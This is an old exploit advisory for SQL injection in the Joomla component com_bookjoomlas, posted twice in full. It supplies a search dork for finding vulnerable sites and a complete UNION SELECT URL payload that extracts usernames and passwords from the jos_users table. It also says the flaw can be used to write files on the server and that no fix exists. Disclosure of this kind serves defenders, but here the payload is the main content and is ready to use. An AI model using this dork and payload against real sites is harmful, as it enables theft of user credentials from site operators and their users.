Joomla Component com_bookjoomlas SQL Injection Vulnerability

["Salvatore \"drosophila\" Fresta" <drosophilaxxx@xxxxxxxxx>]

*******   Salvatore "drosophila" Fresta   *******

[+] Application: Joomla Component com_bookjoomlas
[+] Version: 0.1
[+] Website: http://www.alikonweb.it

[+] Bugs: [A] SQL Injection

[+] Exploitation: Remote
[+] Dork: inurl:"index.php?option=com_bookjoomlas"
[+] Date: 06 Apr 2009

[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: drosophilaxxx@xxxxxxxxx


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[+] Menu

1) Bugs
2) Code
3) Fix


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[+] Bugs


- [A] SQL Injection

[-] Security risk: low
[-] File affected: sub_commententry.php

This bug allows a privileged user to view username
and password of a registered user. Like all SELECT
vulnerable queries, this can be manipulate to write
files on system.


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[+] Code


- [A] SQL Injection

http://www.site.com/path/index.php?option=com_bookjoomlas&Itemid=26&func=comment&gbid=-1
UNION ALL SELECT
1,2,NULL,4,NULL,6,7,NULL,9,CONCAT(username,0x3a,password),11,12,13,14,15,16
FROM jos_users


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[+] Fix

No fix.


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--
Salvatore "drosophila" Fresta
CWNP444351

*******   Salvatore "drosophila" Fresta   *******

[+] Application: Joomla Component com_bookjoomlas
[+] Version: 0.1
[+] Website: http://www.alikonweb.it

[+] Bugs: [A] SQL Injection

[+] Exploitation: Remote
[+] Dork: inurl:"index.php?option=com_bookjoomlas"
[+] Date: 06 Apr 2009

[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: drosophilaxxx@xxxxxxxxx


*************************************************

[+] Menu

1) Bugs
2) Code
3) Fix


*************************************************

[+] Bugs


- [A] SQL Injection

[-] Security risk: low
[-] File affected: sub_commententry.php

This bug allows a privileged user to view username 
and password of a registered user. Like all SELECT 
vulnerable queries, this can be manipulate to write 
files on system.


*************************************************

[+] Code


- [A] SQL Injection

http://www.site.com/path/index.php?option=com_bookjoomlas&Itemid=26&func=comment&gbid=-1
 UNION ALL SELECT 
1,2,NULL,4,NULL,6,7,NULL,9,CONCAT(username,0x3a,password),11,12,13,14,15,16 
FROM jos_users


*************************************************

[+] Fix

No fix.


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